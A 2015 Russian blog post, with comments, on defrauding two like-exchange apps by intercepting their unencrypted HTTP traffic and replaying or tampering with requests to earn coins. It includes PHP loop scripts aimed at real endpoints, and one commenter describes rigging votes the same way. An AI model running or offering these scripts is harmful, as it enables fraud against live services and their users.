Пользователь
0,0
рейтинг
25 июня 2015 в 14:24

Разработка → Как я получил доступ к «бесконечным» лайкам в Instagram и ВК из песочницы

Сегодня днем я заметил, что мой одногруппник скучно кликал по дисплею. Подойдя ближе, я увидел, что он выполняет задания, чтобы заработать баллы и на них накрутить себе лайки в Instagram. Мне эта идея показалась очень бредовой. Вечером, когда я пришел домой, решил подробнее рассмотреть эти приложения с заданиями и скачал парочку на свой iPhone.

«Бесконечные» лайки в Instagram


Первое приложение, которое я скачал, называется «GetLikes».

image

Я запустил на компьютере Charles, чтобы отследить запросы приложения. Поставил лайк и приложение отправило интересный POST запрос, который я смог перехватить благодаря тому, что в этом приложение данные передавались по протоколу HTTP в незашифрованном виде.

image

hash — наш токен, который обновляется при авторизации в приложении;
media — номер изображения, которому мы поставили лайк;
answer — ответ от сервера instagram (поставили ли мы лайк или нет?).

Мне стало интересно, а что если отправить этот запрос несколько раз? Я отправил и… Эврика! Мой счёт пополнился на 1 монету, хотя я не ставил лайк.

Я написал маленький скрипт на php и попробовал накрутить 100 монет и они успешно были зачислены.

<?
	function postData($url, $data){
  	$curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
    curl_setopt($curl, CURLOPT_POST, true);
	curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    $out = curl_exec($curl);
    curl_setopt($curl, CURLOPT_COOKIEJAR, "cookie.txt");
    curl_close($curl);
    return $out;
}
$i = 0;
$hash = "ваш_хэш";
$media = "фотография_которую_вы_лайкнули";
while ($i < 100){
postData('http://www.multiliker.com/service/like2/', 'hash='.$hash.'&media='.$media.'&answer={"status":"ok"}');
$i++;
}

?>

PS: актуальная. Об уязвимости сообщил, но меня послали куда подальше и сказали, что у них безопасный сервис.

«Бесконечные» лайки во ВКонтакте


Вы наверняка слышали про такие сервисы как Likest, Turboliker и т.д. Я нашел приложение, которое также за выполнение заданий даёт монетки, которые можно потратить на получение лайков/репостов/подписчиков. Я проанализировал трафик, который отправляет приложение и опять нашёл очень интересную деталь (да, здесь тоже было незашифрованное подключение).

image

Рассмотрим параметры:
task_id — номер задания. (нужный нам параметр в дальнейшем);
user_id — id нашего аккаунта ВК;
cost — стоимость выполнения задания;
group_id — id группы, на которую подписались.

Естественно, я попробовал повторить этот запрос, но изменить параметр cost в большую сторону, но это ничего мне не дало. Тогда я вернул его к дефектному значению — 2. Затем я изменил параметр task_id. И что вы думаете? На мой счёт успешно зачислились заветные две монеты.

Я написал маленький скрипт и запустил.

<?
$i = 1;
$id = ваш_id;
while ($i < 100){
file_get_contents("http://anylike.ru/ios/tasks.update.1.7?task_id=".$i."&user_id=".$id."&cost=2&group_id=95172440");
$i++;
}
?>

надо было юзать curl

Монеты успешно зачислились на мой счёт. Тут отдельно стоит поговорить о халатности сотрудников, работающих на этом сайте. На их сайте: anylike.ru был всего один контакт. Я обратился, описал уязвимость, но ответ меня очень удивил:

image
image

PS: на данный момент уязвимость исправлена.

Вывод


Что хочется сказать? Разработчики, шифруйте отправляемый трафик и все запросы, чтобы злоумышленники не могли получить доступ к приватным данным.
@jo1n
карма
6,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (33)

  • +14
    Что хочется сказать? Разработчики, шифруйте отправляемый трафик и все запросы, чтобы злоумышленники не могли получить доступ к приватным данным.

    Эмм. Вы перехватываете траффик на локальном компьютере, а значит вы можете поставить поддельный SSL сертификат и все равно перехватывать траффик.
    • +1
      Ну со стороны клиента можно проверять отпечаток сертификата, можно использовать свое шифрование, много чего можно сделать.
      • +5
        Или просто делать сервер более защищенным. Как не шифруй траффик — локально почти наверняка его можно будет расшифровать, поэтому такие проблемы однозначно должны решаться на сервере.
        • –1
          Что вы имеете в виду под «Или просто делать сервер более защищенным»?
          Если грамотно использовать ассиметричное шифрование или готовую реализацию HTTPS/TLS с проверкой отпечатка сертификата сервера, перехватить ничего не получится, для расшифровки трафика у вас нет серверного ключа.
          Другой вопрос что тогда можно раздербанить саму софтину, но тут уже другая история совсем.
          • 0
            Я имею ввиду, что нельзя на сервере оставлять такие баги, уж тем более, когда о них разработчикам известно (по их словам). Да и даже, когда не известно — такие вещи еще при проектировании продумываются обычно.
            • +4
              Это не баги, это фичи.
            • 0
              Это не является багом — все же работает, никаких ошибок нет. Это — уязвимость (в данном случае дизайна протокола связи)
              • +1
                Это является багом. Нужно передавать токен задания и помечать его на сервере как выполненное. Тогда можно будет накрутить один лайк на одном задании. Выдачу заданий юзеру лимитировать по времени максимальной скорости лайканья. Это хотя бы. В идеале же — проверять что лайк действительно стоит, а только потом зачислять монетку.
                • +1
                  Вероятно, человек имел в виду, что в его представлении «баг» — это ошибка, которая мешает обычным рядовым пользователям программы. Т.е. уязвимость != баг. Как-то так.
          • +3
            Все получится, существуют разные способы обхода certificate / ssl pinning.
      • +14
        Бессмысленно, главное правило: всегда строй работу сервера так что клиент уже взломан, разобран и изучен злоумышленником.

        На самом деле, открою вам страшную тайну никто эту «уязвимость» закрывать не будет, потому что ваши скриптовые клики принесут им такой же доход как и обыкновенные, а потом когда у вас на счету накопиться достаточно средств, они тупо вас забанят за использование скриптов. В результате у них доход от рекламы, у вас дырка от бублика. А в случае жалоб рекламодателя, они сделают удивленные глаза и скажут это вон тот Вася виноват, мы ни причем и его уже забанили. Профит.
        • +1
          «потому что ваши скриптовые клики принесут им такой же доход как и обыкновенные»
          Все же нет. Автор же не делает никаких скриптовых кликов — он на сервер программы отправляет данные «как-будто бы» он сделал клик, но не делает его.
          • 0
            да, но у того человека, который создал задание деньги снимутся. вот и профит
            • 0
              Довольно странный профит — лайки заказаны, деньги сняты — но не поставлены, с таким же успехом сам разработчик приложения может снимать деньги у пользователей и ничего не делать.
              • +1
                Звучит как бизнес-план.
  • +61
    Мы знаем обо всех багах, они не закрыты намеренно. Если бы мы не знали о них, мы бы не смогли так быстро их закрывать.
    Что я только что прочитал?
    • +45
      А не все могут так быстро закрывать баги. Вернее, закрывать могут не только лишь все, а только те, о которых мы знаем. Мало, кто может это делать.
      • +1
        Вы как руководитель выпускающей кафедры в моем ВУЗе сейчас написали. Он тоже такие телеги толкал, что, подозреваю, на ученых советах никто его не мог поймать на слове, боясь показаться идиотом, что ничего не понял в высокоумной беседе.

        Уф, как в прошлое нырнул. Хорошо, что такие «ученые» беседы уже позади )))
        • +4
          На самом деле было просто перефразировано высказывание нынешнего мэра Киева :)
          www.youtube.com/watch?v=YSsKw8gRVlY
    • +3
      Мы знаем обо всех багах, они не закрыты намеренно.
      «баги почти пофикшены, идут последние интеграционные тесты»
      Если бы мы не знали о них, мы бы не смогли так быстро их закрывать.
      «на фикс таких багов уходит несколько недель, а так как мы его пофиксим завтра, это значит, что мы его уже несколько недель фиксим»
    • 0
      Перевожу. Баги не закрыты намерено, чтобы некоторые товарищи (не будем показывать пальцем) писали вместо нас скрипты для кликанья рекламы и делали нам деньги, а мы будем белые и пушистые в случае чего.
      • +1
        Так вроде же наоборот, автор поста получил нечто вроде бесплатного купона на 100 лайков, не выполняя требуемой работы. Какая выгода от этого сайту-продавцу?
        • –4
          Ну а в чем работа? Эти сервисы берут деньги за накрутку лайков, соответственно, если автору удалось накрутить лайки с помощью своего скрипта, он принес им такой же доход, как и обычный пользователь кликающий вручную. Если не удалось, то потом его забанят. Какие проблемы-то?
          • +5
            Если я правильно понимаю суть сервиса, то он предлагает реальным пользователям ставить лайки в обмен на «монетки», за которые можно потом заставить других пользователей поставить лайки тебе. Автор поста сфабриковал сообщения о том, что проделал некую работу, и получил за это вознаграждение, однако никаких лайков он на самом деле не ставил. Система осталась ему должна.

            Представим, что администраторы не уследили и автор нагенерил бы таким образом не 100, а миллиард монет, и тут же их потратил. В таком случае он перехватит всю мощность сети и лайки будут выставляться исключительно ему, а честные пользователи останутся необслуженными. Какой из этого может быть профит системе?
            • –1
              Да, я уже понял, только вопрос именно в том что *ЕСЛИ* бы автор сумел нагенерить миллиард монет и главное суметь их все потратить, так чтобы его не забанили. С вероятностью близкой к единицы его забанят намного раньше, чем он что-то поимеет от этого.
              • 0
                Если Вы перечитаете статью, то поймете сразу две вещи:
                1) вы запомнили только заголовок статьи
                2) на хабре нет способов для неправомерных действо — только информация о том, какими они бывают и как этого избежать
            • +5
              Представим, что администраторы не уследили и автор нагенерил бы таким образом не 100, а миллиард монет, и тут же их потратил. В таком случае он перехватит всю мощность сети и лайки будут выставляться исключительно ему, а честные пользователи останутся необслуженными. Какой из этого может быть профит системе?
              Представить-то можно что угодно.
              Скажем из своего опыта. Разрабатывали в чем-то аналогичный сервис (не лайки, но тоже социальные замуты). В ТЗ заказчика специально было прописано оставление нескольких дыр.
              Аргументация была простая — не будет наживки — не будет рыбы. Тот с чьего аккаунта использовался баг — ставился на карандаш, отслеживались внимательно все остальные его действия. По мелочи даже реальные деньги выплачивались, если человек не слишком борзел с накрутками. В общем мелкие культурные читеры — пусть себе живут, лучше контроллировать процесс и иметь сбалансированную экосистему.
              Потом правда создатели сервиса эти «дыры» стали продавать на всяких хакер.ру, из расчета что продадут дыру за 500 баксов, а накрутят по ней дай бог на 50 и потом бан накрутчику. Но это уже так, нюансы.
            • 0
              Нет, суть сервиса не совсем в этом. Система никому ничего никогда не должна. Это закрытая экономика, содержащая одинаковое количество «монет». Если кто-то вкладывает реальные деньги, количество монет в системе прибывает. Ну а дальше эти монеты просто перекидываются между теми, кому надо лайки, и теми, кому надо монеты.

              Что получается, если мы покрутили себе монеты скриптом? У нас монет становится больше, у других участников — меньше. Предположим, что разработчики всё-таки не совсем идиоты, и как только мы попробуем разместить свой заказ, нас забанят, потому что мы крутили их скриптом, и общее количество монет в системе уменьшится. Ставка за один лайк фиксирована и дефляция цен невозможна, что при неизменном спросе означает, что рано или поздно произойдёт вливание новых монет за реальные деньги.

              Вывод: такие дырки очень даже полезны, и являются механизмами регулирования экономики во имя профита владельцев сервиса.
  • 0
    Похоже это носит массовый характер.
    Хоть никогда и не занимался подобным, успешно повторил на +GetsLikes+ на Андроид.
    Вообще это отличный туториал!
    • 0
      InstaLike для Андроид страдает от той же проблемы, только там стоит ограничение на 100 лайков в час со стороны сервера.
  • 0
    Из правил оказания услуг разработчикам приложений Instagram:
    You shall not: Participate in any «like», «share», «comment», or «follower» exchange programs.

    На русском
    Вы не должны участвовать в любых программах по обмену лайками, комментариями и т.п.

    Т.е. во всех подобных приложениях идет прямое нарушение правил и они частенько банятся пачками.
  • 0
    а зачем скрипт на php? Charles отлично повторяет запросы сколько надо раз. Пользуюсь для накрутки голосований, часто они такие же дырявые. Раньше для накрутки приходилось использовать всякие баннерокликеры со списками проксей, щас же быдлокодеры вообще ничего не проверяют.
  • –2
    Ничего не понял вообще. Зачем нужны лайки и монеты?

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.